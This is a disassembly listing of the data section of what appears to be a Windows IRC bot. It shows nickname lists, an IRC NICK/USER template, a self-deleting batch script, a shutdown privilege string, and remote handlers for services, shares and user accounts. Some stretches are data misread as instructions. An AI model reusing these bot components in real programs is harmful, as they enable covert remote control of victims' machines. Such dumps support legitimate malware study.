"DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_43835C dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_437F28 dd offset aSex_0 ; DATA XREF: sub_417ADD+41r ; sub_417ADD+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex ; "{sex}" dd offset aGens ; "{gens|" ; --------------------------------------------------------------------------- fadd qword ptr [ecx-7E2BFFBDh] inc ebx add ah, cl add dword ptr [ebx+0], offset aQ8 ; "Q8" rol byte ptr [ecx-7847FFBDh], 43h add [eax], dh lodsb inc edx add [eax], bh mov dword ptr [edx+0], offset aE ; "e" rol byte ptr [edi-7833FFBDh], 1 inc ebx add al, cl xchg eax, [ebx+0] or al, 0C3h inc edx add [eax], dh mov ch, 42h add [eax-4Dh], bh inc edx add [eax-3BFFBD39h], dl xchg eax, [ebx+0] clc lodsb inc edx add [ebx+esi*4+42h], bh add [ebx+esi*4], ch inc edx add [edx+ebp*4-3CDFFFBEh], al inc edx add [ecx+eax*4-3D4FFFBDh], bh inc edx add [eax-2BFFBD56h], ch mov dl, 42h add al, bl xchg eax, [ebx+0] mov esp, 0D4004387h xchg eax, [ebx+0] rol byte ptr [edi-7E4BFFBDh], 43h add [eax-53FFBC7Fh], dh add dword ptr [ebx+0], offset aGf ; "gf" movsb add dword ptr [ebx+0], offset aSdf ; "sdf" pushf add dword ptr [ebx+0], offset aLuvy ; "luvy" mov word ptr [ecx-7E7BFFBDh], es inc ebx add [ecx+eax*4+43h], bh add al, al xchg eax, [ebx+0] int 3 ; Trap to Debugger xchg eax, [ebx+0] adc al, 0C3h inc edx add [eax], ah retn ; --------------------------------------------------------------------------- dw 42h dd offset off_438178 dd offset aBbl ; "|bbl" dd offset dword_43D158 dd offset dword_43D158 dd offset a___0 ; "_|_" dd offset dword_43D158 dd offset dword_43D158 dd offset dword_43D158 dd offset dword_43D158 dd offset dword_438788 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_4387B8 dd offset dword_43D158 dd offset aSleeping ; "Sleeping" dd offset dword_43D158 dd offset dword_43D158 dd offset aFuck ; "Fuck" dd offset aFree ; "Free" dd offset dword_43D158 dd offset dword_43D158 dd offset dword_43876C dd offset dword_43D158 dd offset off_438138 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_4380F8 dd offset dword_4380F4 dd offset dword_4380EC dd offset dword_4380E0 dd offset dword_4380D8 dd offset dword_4380D0 dd offset dword_4380C8 dd offset dword_4380C4 dd offset dword_4380C0 dword_4380C0 dd 7536h ; DATA XREF: ___:004380BCo dword_4380C4 dd 7535h ; DATA XREF: ___:004380B8o dword_4380C8 dd 7C75347Ch, 0 ; DATA XREF: ___:004380B4o dword_4380D0 dd 6F79347Bh, 7D75h ; DATA XREF: ___:004380B0o dword_4380D8 dd 7375347Ch, 7Ch ; DATA XREF: ___:004380ACo dword_4380E0 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:004380A8o dword_4380EC dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:004380A4o dword_4380F4 dd 6C6F6Ch ; DATA XREF: ___:004380A0o dword_4380F8 dd 746F74h ; DATA XREF: ___:0043809Co aMofo db 'mofo',0 ; DATA XREF: ___:00438098o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:00438094o align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438090o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:0043808Co align 4 aAha db 'aha',0 ; DATA XREF: ___:00438088o aShit db 'shit',0 ; DATA XREF: ___:00438084o align 4 aGurl db 'gurl',0 ; DATA XREF: ___:00438080o align 10h aGirl_0 db 'GIRL',0 ; DATA XREF: ___:0043807Co align 4 off_438138 dd offset word_594F42 ; DATA XREF: ___:00438078o aFree db 'Free',0 ; DATA XREF: ___:00438064o align 4 aFuck db 'Fuck',0 ; DATA XREF: ___:00438060o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:00438054o align 4 aF_2 db '^^^f^',0 ; DATA XREF: ___:00438048o align 10h aSad db 'Sad',0 ; DATA XREF: ___:00438044o aLuvu db 'LUVU',0 ; DATA XREF: ___:00438040o align 4 a___0 db '_|_',0 ; DATA XREF: ___:00438024o aBbl db '|bbl',0 ; DATA XREF: ___:00438018o align 4 off_438178 dd offset loc_425242 ; DATA XREF: ___:00438014o aMuckc db 'muckc',0 align 4 aTruck db 'truck',0 align 4 aTrimy db 'trimy',0 align 4 aLuvy db 'luvy',0 ; DATA XREF: ___:00437FF1o align 4 aUi db 'ui',0 align 10h aSdf db 'sdf',0 ; DATA XREF: ___:00437FE9o aRt db 'rt',0 align 4 aGf db 'gf',0 ; DATA XREF: ___:00437FE1o align 4 aTy db 'ty',0 align 10h aRg db 'rg',0 align 4 aHappy db 'happy',0 align 4 aRs db 'rs',0 align 10h aQ8A db '|q8|a',0 align 4 aQ8 db 'Q8',0 ; DATA XREF: ___:00437F69o align 4 aSick db 'sick}}',0 align 4 aWiked db '|wiked|',0 aLuvuF db '||luvu-f|',0 align 4 aGens db '{gens|',0 ; DATA XREF: ___:00437F5Co align 10h aSex db '{sex}',0 ; DATA XREF: ___:00437F58o align 4 aHub db '{hub}',0 ; DATA XREF: ___:00437F54o align 10h aLuck db '|luck|',0 ; DATA XREF: ___:00437F50o align 4 aSuck db '|suck|',0 ; DATA XREF: ___:00437F4Co align 10h aTot db '-|tot|',0 ; DATA XREF: ___:00437F48o align 4 aWoh db '|woh|',0 ; DATA XREF: ___:00437F44o align 10h aTambe db '|tambe|',0 ; DATA XREF: ___:00437F40o aLag db 'lag',0 ; DATA XREF: ___:00437F3Co aBad db 'bad',0 ; DATA XREF: ___:00437F38o aTree db 'tree',0 ; DATA XREF: ___:00437F34o align 4 aZex db 'zex',0 ; DATA XREF: ___:00437F30o aLez db 'lez',0 ; DATA XREF: ___:00437F2Co aSex_0 db 'sex',0 ; DATA XREF: ___:off_437F28o aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00437F24o align 10h aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00437F20o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:00437F1Co align 4 aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00437F18o align 10h aPrometheus db 'prometheus',0 ; DATA XREF: ___:00437F14o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00437F10o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00437F0Co align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00437F08o align 4 aCem39 db 'cem39',0 ; DATA XREF: ___:00437F04o align 4 aCool30m db 'cool30m',0 ; DATA XREF: ___:00437F00o aTropikal db 'tropikal',0 ; DATA XREF: ___:00437EFCo align 4 aPassenger db 'passenger',0 ; DATA XREF: ___:00437EF8o align 4 aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00437EF4o align 10h aUla db 'ula',0 ; DATA XREF: ___:00437EF0o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00437EECo aAkden db 'akden',0 ; DATA XREF: ___:00437EE8o align 4 aKoray db 'KORAY',0 ; DATA XREF: ___:00437EE4o align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:00437EE0o align 4 aFirtina db 'firtina',0 ; DATA XREF: ___:00437EDCo aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00437ED8o aM41ist db 'M41IST',0 ; DATA XREF: ___:00437ED4o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00437ED0o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: ___:00437ECCo align 10h aAnkm db 'ankM',0 ; DATA XREF: ___:00437EC8o align 4 aErkan db 'erkan',0 ; DATA XREF: ___:00437EC4o align 10h aDevre db 'devre',0 ; DATA XREF: ___:00437EC0o align 4 aYabanc db 'yabanc',0 ; DATA XREF: ___:00437EBCo align 10h aBirsen db 'birsen',0 ; DATA XREF: ___:00437EB8o align 4 aA44m db 'a44m',0 ; DATA XREF: ___:00437EB4o align 10h aAlcatras db 'alcatras',0 ; DATA XREF: ___:00437EB0o align 4 off_43835C dd offset byte_4B5245 ; DATA XREF: ___:00437EACo aSevda db 'sevda',0 ; DATA XREF: ___:00437EA8o align 4 aKotan db 'kotan',0 ; DATA XREF: ___:00437EA4o align 10h aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00437EA0o align 4 aAchilles db 'Achilles',0 ; DATA XREF: ___:00437E9Co align 4 aKapk db 'kapk',0 ; DATA XREF: ___:00437E98o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00437E94o align 4 aHayran db 'hayran',0 ; DATA XREF: ___:00437E90o align 10h aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:00437E8Co align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:00437E88o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00437E84o aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00437E80o align 4 aUmut db 'umut-',0 ; DATA XREF: ___:00437E7Co align 10h aAdalim db 'ADALIM',0 ; DATA XREF: ___:00437E78o align 4 aKumul db 'kumul',0 ; DATA XREF: ___:00437E74o align 10h aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00437E70o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:00437E6Co align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00437E68o align 10h aKashmira db 'Kashmira',0 ; DATA XREF: ___:00437E64o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:00437E60o align 4 aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:00437E5Co align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00437E58o aHoly db 'holy',0 ; DATA XREF: ___:00437E54o align 4 aFlord db 'FLoRD',0 ; DATA XREF: ___:00437E50o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:00437E4Co aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00437E48o align 10h aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00437E44o align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00437E40o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: ___:00437E3Co align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00437E38o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: ___:00437E34o align 10h aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00437E30o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00437E2Co aArda db 'arda',0 ; DATA XREF: ___:00437E28o align 10h aDevran db 'devran',0 ; DATA XREF: ___:00437E24o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00437E20o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00437E1Co align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00437E18o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00437E14o align 4 aBogac db 'bogac',0 ; DATA XREF: ___:00437E10o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00437E0Co align 4 aAnkh db 'ankh',0 ; DATA XREF: ___:00437E08o align 10h off_4384F0 dd offset byte_457441 ; DATA XREF: ___:00437E04o dword_4384F4 dd 414C5941h, 2Dh ; DATA XREF: ___:00437E00o aAlbina db 'albina',0 ; DATA XREF: ___:00437DFCo align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00437DF8o align 10h aZack db 'ZACK',0 ; DATA XREF: ___:00437DF4o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: ___:00437DF0o align 10h aTurkyy db 'turkyy',0 ; DATA XREF: ___:00437DECo align 4 aAhmet db 'ahmet',0 ; DATA XREF: ___:00437DE8o align 10h aPelincik db 'pelincik',0 ; DATA XREF: ___:00437DE4o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00437DE0o align 4 aRetg db 'RETG',0 ; DATA XREF: ___:00437DDCo align 10h aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00437DD8o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00437DD4o aAslii db 'aslii',0 ; DATA XREF: ___:00437DD0o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00437DCCo aHaticem db 'haticem',0 ; DATA XREF: ___:00437DC8o aArzu db 'ARZU',0 ; DATA XREF: ___:00437DC4o align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00437DC0o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00437DBCo align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00437DB8o align 4 aTekir db 'tekir',0 ; DATA XREF: ___:00437DB4o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00437DB0o align 4 aTrend3 db 'trend3',0 ; DATA XREF: ___:00437DACo align 10h aMelekk db 'melekk',0 ; DATA XREF: ___:00437DA8o align 4 aAkin db 'AKIN',0 ; DATA XREF: ___:00437DA4o align 10h aMary db 'MARY',0 ; DATA XREF: ___:00437DA0o align 4 aJericho db 'JERICHO',0 ; DATA XREF: ___:00437D9Co aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00437D98o aMisssunday db 'misssunday',0 ; DATA XREF: ___:00437D94o align 4 aIrmal db 'irmal',0 ; DATA XREF: ___:00437D90o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:00437D8Co align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:00437D88o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00437D84o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:00437D80o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:00437D7Co align 10h aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00437D78o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00437D74o align 4 aKencing db 'Kencing',0 ; DATA XREF: ___:00437D70o aReshma db 'reshma',0 ; DATA XREF: ___:00437D6Co align 4 aCamel db 'CAMEL',0 ; DATA XREF: ___:00437D68o align 10h aGirl db 'GirL',0 ; DATA XREF: ___:00437D64o align 4 aImra db 'imra',0 ; DATA XREF: ___:00437D60o align 10h aCoredump db 'CoreDump',0 ; DATA XREF: ___:00437D5Co align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00437D58o align 4 aKermit db 'kermit',0 ; DATA XREF: ___:00437D54o align 10h aManee db 'manee',0 ; DATA XREF: ___:00437D50o align 4 aTroller db 'troller',0 ; DATA XREF: ___:00437D4Co aLuisa db 'Luisa',0 ; DATA XREF: ___:00437D48o align 4 aNastysha db 'nastysha',0 ; DATA XREF: ___:00437D44o align 4 aRimpy db 'rimpy',0 ; DATA XREF: ___:00437D40o align 4 aJanno db 'janno',0 ; DATA XREF: ___:00437D3Co align 4 aBunty db 'bunty',0 ; DATA XREF: ___:00437D38o align 4 aHeval db 'heval',0 ; DATA XREF: ___:00437D34o align 4 aCme db 'cme',0 ; DATA XREF: ___:00437D30o aMarcy db 'marcy',0 ; DATA XREF: ___:00437D2Co align 10h aTalika db 'talika',0 ; DATA XREF: ___:00437D28o align 4 aShez db 'Shez',0 ; DATA XREF: ___:00437D24o align 10h aKen db 'ken',0 ; DATA XREF: ___:00437D20o aFlexster db 'flexster',0 ; DATA XREF: ___:00437D1Co align 10h aKoko db 'koko',0 ; DATA XREF: ___:00437D18o align 4 aMale db 'male',0 ; DATA XREF: ___:00437D14o align 10h aSwin db 'swin',0 ; DATA XREF: ___:00437D10o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00437D0Co aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00437D08o align 4 aEmilya db 'emilya',0 ; DATA XREF: ___:00437D04o align 10h aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00437D00o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00437CFCo aFarooq db 'farooq',0 ; DATA XREF: ___:00437CF8o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00437CF4o align 4 aM_0: ; DATA XREF: ___:00437CF0o ; ___:0043803Co unicode 0, <M>,0 word_43875C dw 4Eh ; DATA XREF: sub_419E79+38r ; ___:00437CECo align 10h dword_438760 dd 42h ; DATA XREF: ___:00437CE8o dword_438764 dd 56h ; DATA XREF: ___:00437CE4o dword_438768 dd 43h ; DATA XREF: ___:00437CE0o dword_43876C dd 58h ; DATA XREF: ___:00437CDCo ; ___:00438070o dword_438770 dd 5Ah ; DATA XREF: ___:00437CD8o dword_438774 dd 4Ch ; DATA XREF: ___:00437CD4o dword_438778 dd 4Bh ; DATA XREF: ___:00437CD0o dword_43877C dd 4Ah ; DATA XREF: ___:00437CCCo dword_438780 dd 48h ; DATA XREF: ___:00437CC8o dword_438784 dd 47h ; DATA XREF: ___:00437CC4o dword_438788 dd 46h ; DATA XREF: ___:00437CC0o ; ___:00438038o dword_43878C dd 44h ; DATA XREF: ___:00437CBCo dword_438790 dd 53h ; DATA XREF: ___:00437CB8o dword_438794 dd 50h ; DATA XREF: ___:00437CB0o dword_438798 dd 4Fh ; DATA XREF: ___:00437CACo dword_43879C dd 55h ; DATA XREF: ___:00437CA4o word_4387A0 dw 59h ; DATA XREF: sub_41A19D+38r ; ___:00437CA0o align 4 dword_4387A4 dd 54h ; DATA XREF: ___:00437C9Co dword_4387A8 dd 52h ; DATA XREF: ___:00437C98o dword_4387AC dd 45h ; DATA XREF: ___:00437C94o dword_4387B0 dd 57h ; DATA XREF: ___:00437C90o dword_4387B4 dd 51h ; DATA XREF: ___:00437C8Co dword_4387B8 dd 62h ; DATA XREF: ___:00437C80o ; ___:0043804Co dword_4387BC dd 78h ; DATA XREF: ___:00437C74o dword_4387C0 dd 7Ah ; DATA XREF: ___:00437C70o dword_4387C4 dd 6Ch ; DATA XREF: ___:00437C6Co dword_4387C8 dd 68h ; DATA XREF: ___:00437C60o dword_4387CC dd 67h ; DATA XREF: ___:00437C5Co dword_4387D0 dd 66h, 79h ; DATA XREF: ___:00437C58o dword_4387D8 dd 77h ; DATA XREF: ___:00437C2Co dword_4387DC dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177CF+B1o dword_4387E8 dd 323334h ; DATA XREF: sub_4177CF+79o dword_4387EC dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177CF+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BA+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADD+BCo ; sub_417ADD+175r ... align 4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418293+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418359+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418359+48o align 4 unk_438964 db 2Dh ; - ; DATA XREF: sub_4184E1+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_438994 db 2Dh ; - ; DATA XREF: sub_4184E1+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_4389BC dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4184E1+5Co dd 65726165h, 64h off_4389D8 dd offset aAdd ; DATA XREF: sub_4186C1+60r ; sub_418A98+51r ... ; "Add" off_4389DC dd offset aAdded ; DATA XREF: sub_4186C1+2Dr ; sub_418A98+83r ... ; "Added" dword_4389E0 dd 0 ; DATA XREF: sub_4186C1+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 438A4Ch, 438A44h, 2, 438A38h, 438A2Ch, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:00438A0Co aStop_0 db 'Stop',0 ; DATA XREF: ___:00438A08o align 4 aStarted db 'Started',0 ; DATA XREF: ___:00438A00o aStart_0 db 'Start',0 ; DATA XREF: ___:004389FCo align 4 aListed db 'Listed',0 ; DATA XREF: ___:004389F4o align 4 aList_1 db 'List',0 ; DATA XREF: ___:004389F0o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:004389E8o aDelete_0 db 'Delete',0 ; DATA XREF: ___:004389E4o align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_4389DCo align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_4389D8o unk_438AA0 db 2Dh ; - ; DATA XREF: sub_4186C1+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_438AC4 db 2Dh ; - ; DATA XREF: sub_4186C1+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h unk_438AF0 db 2Dh ; - ; DATA XREF: sub_4186C1+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4187DD:loc_4188E7o db 'the state of the service.',0 align 10h aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4187DD:loc_4188E0o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4187DD:loc_4188D9o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188D2o align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4187DD:loc_4188C4o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4187DD:loc_4188BDo db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188B6o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4187DD:loc_41888Bo align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4187DD:loc_418884o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4187DD:loc_41887Do db 'tServiceCtrlDispatcher.',0 align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4187DD:loc_418876o align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4187DD:loc_41884Bo db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4187DD:loc_418841o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4187DD:loc_418837o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4187DD:loc_418823o align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895B+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_41895B:loc_418A27o aStarting db ' Starting',0 ; DATA XREF: sub_41895B:loc_418A20o aStoping db ' Stoping',0 ; DATA XREF: sub_41895B:loc_418A19o aRunning db ' Running',0 ; DATA XREF: sub_41895B:loc_418A12o aContinuing db ' Continuing',0 ; DATA XREF: sub_41895B:loc_418A0Bo aPausing db ' Pausing',0 ; DATA XREF: sub_41895B:loc_418A04o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895B:loc_4189FDo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895B+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41895B+25o align 4 unk_439044 db 2Dh ; - ; DATA XREF: sub_418A98+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 dword_439068 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418A98+8Ao dd 73252720h, 27h unk_439084 db 2Dh ; - ; DATA XREF: sub_418A98+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 10h a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_418C8E+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_418C8E+B5o unk_4390D0 db 2Dh ; - ; DATA XREF: sub_418C8E+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418C8E+26o align 10h unk_439130 db 2Dh ; - ; DATA XREF: sub_418DAF+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 unk_439158 db 2Dh ; - ; DATA XREF: sub_418DAF+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_439188 db 2Dh ; - ; DATA XREF: sub_418DAF+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_4391A8 db 2Dh ; - ; DATA XREF: sub_418EF6+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: 